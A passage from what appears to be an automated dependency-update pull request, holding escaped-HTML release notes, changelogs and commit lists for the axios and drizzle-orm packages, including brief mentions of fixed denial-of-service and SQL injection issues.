1.13.5\u003c/h2\u003e\n\u003ch3\u003eHighlights\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eSecurity:\u003c/strong\u003e Fixed a potential \u003cstrong\u003eDenial of Service\u003c/strong\u003e issue involving the \u003ccode\u003e__proto__\u003c/code\u003e key in \u003ccode\u003emergeConfig\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eBug fix:\u003c/strong\u003e Resolved an issue where \u003ccode\u003eAxiosError\u003c/code\u003e could be missing the \u003ccode\u003estatus\u003c/code\u003e field on and after \u003cstrong\u003ev1.13.3\u003c/strong\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanges\u003c/h3\u003e\n\u003ch4\u003eSecurity\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eFix Denial of Service via \u003ccode\u003e__proto__\u003c/code\u003e key in \u003ccode\u003emergeConfig\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eFixes\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eFix/5657. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7313\"\u003e#7313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnsure \u003ccode\u003estatus\u003c/code\u003e is present in \u003ccode\u003eAxiosError\u003c/code\u003e on and after v1.13.3. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eFeatures / Improvements\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eAdd input validation to \u003ccode\u003eisAbsoluteURL\u003c/code\u003e. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRefactor: bump minor package versions. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7356\"\u003e#7356\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eDocumentation\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eClarify object-check comment. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix deprecated \u003ccode\u003eBuffer\u003c/code\u003e constructor usage and README formatting. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7371\"\u003e#7371\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch4\u003eCI / Maintenance\u003c/h4\u003e\n\u003cul\u003e\n\u003cli\u003eChore: fix issues with YAML. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7355\"\u003e#7355\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCI: update workflow YAMLs. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7372\"\u003e#7372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eCI: fix run condition. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7373\"\u003e#7373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDev deps: bump \u003ccode\u003ekarma-sourcemap-loader\u003c/code\u003e from 0.3.8 to 0.4.0. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7360\"\u003e#7360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eChore(release): prepare release 1.13.5. (PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7379\"\u003e#7379\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNew Contributors\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/sachin11063\"\u003e\u003ccode\u003e@​sachin11063\u003c/code\u003e\u003c/a\u003e (first contribution — PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/asmitha-16\"\u003e\u003ccode\u003e@​asmitha-16\u003c/code\u003e\u003c/a\u003e (first contribution — PR \u003ca href=\"https://redirect.github.com/axios/axios/pull/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog:\u003c/strong\u003e \u003ca href=\"https://github.com/axios/axios/compare/v1.13.4...v1.13.5\"\u003ehttps://github.com/axios/axios/compare/v1.13.4...v1.13.5\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev1.13.4\u003c/h2\u003e\n\u003ch2\u003eOverview\u003c/h2\u003e\n\u003cp\u003eThe release addresses issues discovered in v1.13.3 and includes significant CI/CD improvements.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/axios/axios/compare/v1.13.3...v1.13.4\"\u003ev1.13.3...v1.13.4\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003eWhat's New in v1.13.4\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003efix: issues with version 1.13.3\u003c/strong\u003e (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7352\"\u003e#7352\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/ee90dfc28abffbb61e24974b2bd3139a4a40ac76\"\u003eee90dfc\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eFixed issues discovered in v1.13.3 release\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/axios/axios/blob/v1.x/CHANGELOG.md\"\u003eaxios's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog\u003c/h1\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/axios/axios/compare/v1.13.2...v1.13.3\"\u003e1.13.3\u003c/a\u003e (2026-01-20)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ehttp2:\u003c/strong\u003e Use port 443 for HTTPS connections by default. (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7256\"\u003e#7256\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/d7e60653460480ffacecf85383012ca1baa6263e\"\u003ed7e6065\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einterceptor:\u003c/strong\u003e handle the error in the same interceptor (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6269\"\u003e#6269\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/5945e40bb171d4ac4fc195df276cf952244f0f89\"\u003e5945e40\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003emain field in package.json should correspond to cjs artifacts (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5756\"\u003e#5756\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/7373fbff24cd92ce650d99ff6f7fe08c2e2a0a04\"\u003e7373fbf\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003epackage.json:\u003c/strong\u003e add 'bun' package.json 'exports' condition. Load the Node.js build in Bun instead of the browser build (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5754\"\u003e#5754\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/b89217e3e91de17a3d55e2b8f39ceb0e9d8aeda8\"\u003eb89217e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003esilentJSONParsing=false should throw on invalid JSON (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7257\"\u003e#7257\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/7d19335e43d6754a1a9a66e424f7f7da259895bf\"\u003e7d19335\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eturn AxiosError into a native error (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5394\"\u003e#5394\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5558\"\u003e#5558\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/1c6a86dd2c0623ee1af043a8491dbc96d40e883b\"\u003e1c6a86d\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e add handlers to AxiosInterceptorManager interface (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5551\"\u003e#5551\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/8d1271b49fc226ed7defd07cd577bd69a55bb13a\"\u003e8d1271b\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e restore AxiosError.cause type from unknown to Error (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7327\"\u003e#7327\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/d8233d9e8e9a64bfba9bbe01d475ba417510b82b\"\u003ed8233d9\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eunclear error message is thrown when specifying an empty proxy authorization (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6314\"\u003e#6314\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/6ef867e684adf7fb2343e3b29a79078a3c76dc29\"\u003e6ef867e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eadd \u003ccode\u003eundefined\u003c/code\u003e as a value in AxiosRequestConfig (\u003ca href=\"https://redirect.github.com/axios/axios/issues/5560\"\u003e#5560\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/095033c626895ecdcda2288050b63dcf948db3bd\"\u003e095033c\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadd automatic minor and patch upgrades to dependabot (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6053\"\u003e#6053\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/65a7584eda6164980ddb8cf5372f0afa2a04c1ed\"\u003e65a7584\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadd Node.js coverage script using c8 (closes \u003ca href=\"https://redirect.github.com/axios/axios/issues/7289\"\u003e#7289\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7294\"\u003e#7294\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/ec9d94e9f88da13e9219acadf65061fb38ce080a\"\u003eec9d94e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eadded copilot instructions (\u003ca href=\"https://github.com/axios/axios/commit/3f83143bfe617eec17f9d7dcf8bafafeeae74c26\"\u003e3f83143\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003ecompatibility with frozen prototypes (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6265\"\u003e#6265\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/860e03396a536e9b926dacb6570732489c9d7012\"\u003e860e033\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eenhance pipeFileToResponse with error handling (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7169\"\u003e#7169\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/88d78842541610692a04282233933d078a8a2552\"\u003e88d7884\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e Intellisense for string literals in a widened union (\u003ca href=\"https://redirect.github.com/axios/axios/issues/6134\"\u003e#6134\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/f73474d02c5aa957b2daeecee65508557fd3c6e5\"\u003ef73474d\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com//redirect.github.com/microsoft/TypeScript/issues/33471/issues/issuecomment-1376364329\"\u003emicrosoft/TypeScript#33471\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eReverts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRevert \u0026quot;fix: silentJSONParsing=false should throw on invalid JSON (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e) (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7\"\u003e#7\u003c/a\u003e…\u0026quot; (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7298\"\u003e#7298\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/a4230f5581b3f58b6ff531b6dbac377a4fd7942a\"\u003ea4230f5\u003c/a\u003e), closes \u003ca href=\"https://redirect.github.com/axios/axios/issues/7253\"\u003e#7253\u003c/a\u003e \u003ca href=\"https://redirect.github.com/axios/axios/issues/7\"\u003e#7\u003c/a\u003e \u003ca href=\"https://redirect.github.com/axios/axios/issues/7298\"\u003e#7298\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e bump peter-evans/create-pull-request from 7 to 8 in the github-actions group (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7334\"\u003e#7334\u003c/a\u003e) (\u003ca href=\"https://github.com/axios/axios/commit/2d6ad5e48bd29b0b2b5e7e95fb473df98301543a\"\u003e2d6ad5e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eContributors to this release\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/ashvin2005\" title=\"+1752/-4 ([#7218](https://github.com/axios/axios/issues/7218) [#7218](https://github.com/axios/axios/issues/7218) )\"\u003eAshvin Tiwari\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/mochinikunj\" title=\"+940/-12 ([#7294](https://github.com/axios/axios/issues/7294) [#7294](https://github.com/axios/axios/issues/7294) )\"\u003eNikunj Mochi\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/imanchalsingh\" title=\"+544/-102 ([#7169](https://github.com/axios/axios/issues/7169) [#7185](https://github.com/axios/axios/issues/7185) )\"\u003eAnchal Singh\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/jasonsaayman\" title=\"+317/-73 ([#7334](https://github.com/axios/axios/issues/7334) [#7298](https://github.com/axios/axios/issues/7298) )\"\u003ejasonsaayman\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/brodo\" title=\"+99/-120 ([#5558](https://github.com/axios/axios/issues/5558) )\"\u003eJulian Dax\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/AKASHDHARDUBEY\" title=\"+167/-0 ([#7287](https://github.com/axios/axios/issues/7287) [#7288](https://github.com/axios/axios/issues/7288) )\"\u003eAkash Dhar Dubey\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/madhumitaaa\" title=\"+20/-68 ([#7198](https://github.com/axios/axios/issues/7198) )\"\u003eMadhumita\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Tackoil\" title=\"+80/-2 ([#6269](https://github.com/axios/axios/issues/6269) )\"\u003eTackoil\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/justindhillon\" title=\"+41/-41 ([#6324](https://github.com/axios/axios/issues/6324) [#6315](https://github.com/axios/axios/issues/6315) )\"\u003eJustin Dhillon\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Rudrxxx\" title=\"+71/-2 ([#7257](https://github.com/axios/axios/issues/7257) )\"\u003eRudransh\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/WuMingDao\" title=\"+36/-36 ([#7215](https://github.com/axios/axios/issues/7215) )\"\u003eWuMingDao\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/codenomnom\" title=\"+70/-0 ([#7201](https://github.com/axios/axios/issues/7201) [#7201](https://github.com/axios/axios/issues/7201) )\"\u003ecodenomnom\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/Nandann018-ux\" title=\"+60/-10 ([#7272](https://github.com/axios/axios/issues/7272) )\"\u003eNandan Acharya\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/KernelDeimos\" title=\"+22/-40 ([#7042](https://github.com/axios/axios/issues/7042) )\"\u003eEric Dubé\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/tiborpilz\" title=\"+40/-4 ([#5551](https://github.com/axios/axios/issues/5551) )\"\u003eTibor Pilz\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/joaoGabriel55\" title=\"+31/-4 ([#6314](https://github.com/axios/axios/issues/6314) )\"\u003eGabriel Quaresma\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003c!-- raw HTML omitted --\u003e \u003ca href=\"https://github.com/turadg\" title=\"+23/-6 ([#6265](https://github.com/axios/axios/issues/6265) )\"\u003eTuradg Aleahmad\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/29f75425f0c9f73021f5eedc869c176e30e05fe7\"\u003e\u003ccode\u003e29f7542\u003c/code\u003e\u003c/a\u003e chore(release): prepare release 1.13.5 (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7379\"\u003e#7379\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/431c3a361490a2e3d5ac5d9e08d66d4bb5f3cd2a\"\u003e\u003ccode\u003e431c3a3\u003c/code\u003e\u003c/a\u003e ci: fix run condition (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7373\"\u003e#7373\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/9ff3a78ad72ecd665a4b673686f1517d824284bf\"\u003e\u003ccode\u003e9ff3a78\u003c/code\u003e\u003c/a\u003e ci: update ymls (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7372\"\u003e#7372\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/265b71234c20fabbd6d691858c65a7e9c978659f\"\u003e\u003ccode\u003e265b712\u003c/code\u003e\u003c/a\u003e docs: fix deprecated Buffer constructor and formatting issues in README (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7371\"\u003e#7371\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/475e75a260668d227aec9f77735a49748c9041ff\"\u003e\u003ccode\u003e475e75a\u003c/code\u003e\u003c/a\u003e feat: add input validation to isAbsoluteURL (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7326\"\u003e#7326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/28c721588c7a77e7503d0a434e016f852c597b57\"\u003e\u003ccode\u003e28c7215\u003c/code\u003e\u003c/a\u003e fix: Denial of Service via \u003cstrong\u003eproto\u003c/strong\u003e Key in mergeConfig (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7369\"\u003e#7369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/04cf01969ed58f96920da032f340bfe4614aab90\"\u003e\u003ccode\u003e04cf019\u003c/code\u003e\u003c/a\u003e docs: clarify object check comment (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7323\"\u003e#7323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/696fa753c5366afbd21859c294c64c9ff2b359ab\"\u003e\u003ccode\u003e696fa75\u003c/code\u003e\u003c/a\u003e fix: status is missing in AxiosError on and after v1.13.3 (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7368\"\u003e#7368\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/569f028a5878faaec8d7d138ba686aac407bda4c\"\u003e\u003ccode\u003e569f028\u003c/code\u003e\u003c/a\u003e fix: added a option to choose between legacy and the new request/response int...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/axios/axios/commit/44b7c9f0c4900fd8784f18e871199402f07fc69f\"\u003e\u003ccode\u003e44b7c9f\u003c/code\u003e\u003c/a\u003e chore(deps-dev): bump karma-sourcemap-loader (\u003ca href=\"https://redirect.github.com/axios/axios/issues/7360\"\u003e#7360\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/axios/axios/compare/v1.7.9...v1.13.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by [GitHub Actions](\u003ca href=\"https://www.npmjs.com/~GitHub\"\u003ehttps://www.npmjs.com/~GitHub\u003c/a\u003e Actions), a new releaser for axios since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `drizzle-orm` from 0.38.3 to 0.45.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/drizzle-team/drizzle-orm/releases\"\u003edrizzle-orm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e0.45.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003esql.identifier()\u003c/code\u003e, \u003ccode\u003esql.as()\u003c/code\u003e escaping issues. Previously all the values passed to this functions were not properly escaped\ncausing a possible SQL Injection (CWE-89) vulnerability\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eThanks to \u003ca href=\"https://github.com/EthanKim88\"\u003e\u003ccode\u003e@​EthanKim88\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/0x90sh\"\u003e\u003ccode\u003e@​0x90sh\u003c/code\u003e\u003c/a\u003e and \u003ca href=\"https://github.com/wgoodall01\"\u003e\u003ccode\u003e@​wgoodall01\u003c/code\u003e\u003c/a\u003e for reaching out to us with a reproduction and suggested fix\u003c/p\u003e\n\u003ch2\u003e0.45.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed pg-native Pool detection in node-postgres transactions breaking in environments with forbidden \u003ccode\u003erequire()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5107\"\u003e#5107\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.45.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed pg-native Pool detection in node-postgres transactions\u003c/li\u003e\n\u003cli\u003eAllowed subqueries in select fields\u003c/li\u003e\n\u003cli\u003eUpdated typo algorythm =\u0026gt; algorithm\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003e$onUpdate\u003c/code\u003e not handling \u003ccode\u003eSQL\u003c/code\u003e values (fixes \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/2388\"\u003e#2388\u003c/a\u003e, tests implemented by \u003ca href=\"https://github.com/L-Mario564\"\u003eL-Mario564\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/pull/2911\"\u003e#2911\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003epg\u003c/code\u003e mappers not handling \u003ccode\u003eDate\u003c/code\u003e instances in \u003ccode\u003ebun-sql:postgresql\u003c/code\u003e driver responses for \u003ccode\u003edate\u003c/code\u003e, \u003ccode\u003etimestamp\u003c/code\u003e types (fixes \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4493\"\u003e#4493\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix durable sqlite transaction return value \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/3746\"\u003e#3746\u003c/a\u003e - thanks \u003ca href=\"https://github.com/joaocstro\"\u003e\u003ccode\u003e@​joaocstro\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efeat: add $replicas reference \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4874\"\u003e#4874\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed invalid usage of \u003ccode\u003e.one()\u003c/code\u003e in \u003ccode\u003edurable-sqlite\u003c/code\u003e session\u003c/li\u003e\n\u003cli\u003eFixed spread operator related crash in sqlite \u003ccode\u003eblob\u003c/code\u003e columns\u003c/li\u003e\n\u003cli\u003eBetter browser support for sqlite \u003ccode\u003eblob\u003c/code\u003e columns\u003c/li\u003e\n\u003cli\u003eImproved sqlite \u003ccode\u003eblob\u003c/code\u003e mapping\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFix wrong DrizzleQueryError export. thanks \u003ca href=\"https://github.com/nathankleyn\"\u003e\u003ccode\u003e@​nathankleyn\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed types of \u003ccode\u003e$client\u003c/code\u003e for clients created by drizzle function\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"ts\"\u003e\u003ccode\u003eawait db.$client.[...]\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003eAdded the \u003ccode\u003eupdated_at\u003c/code\u003e column to the \u003ccode\u003eneon_auth.users_sync\u003c/code\u003e table definition.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e[BUG]: Fixed type issues with joins with certain variations of \u003ccode\u003etsconfig\u003c/code\u003e: \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4535\"\u003e#4535\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4457\"\u003e#4457\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/4586\"\u003e[BUG]: Drizzle can no longer run on Durable Objects\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e0.44.0\u003c/h2\u003e\n\u003ch2\u003eError handling\u003c/h2\u003e\n\u003cp\u003eStarting from this version, we’ve introduced a new \u003ccode\u003eDrizzleQueryError\u003c/code\u003e that wraps all errors from database drivers and provides a set of useful information:\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/drizzle-team/drizzle-orm/commit/273c78071d4841b497f5144734b38294df7ec64b\"\u003e\u003ccode\u003e273c780\u003c/code\u003e\u003c/a\u003e + 0.45.2 (\u003ca href=\"https://redirect.github.com/drizzle-team/drizzle-orm/issues/5534\"\u003e#5534\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca 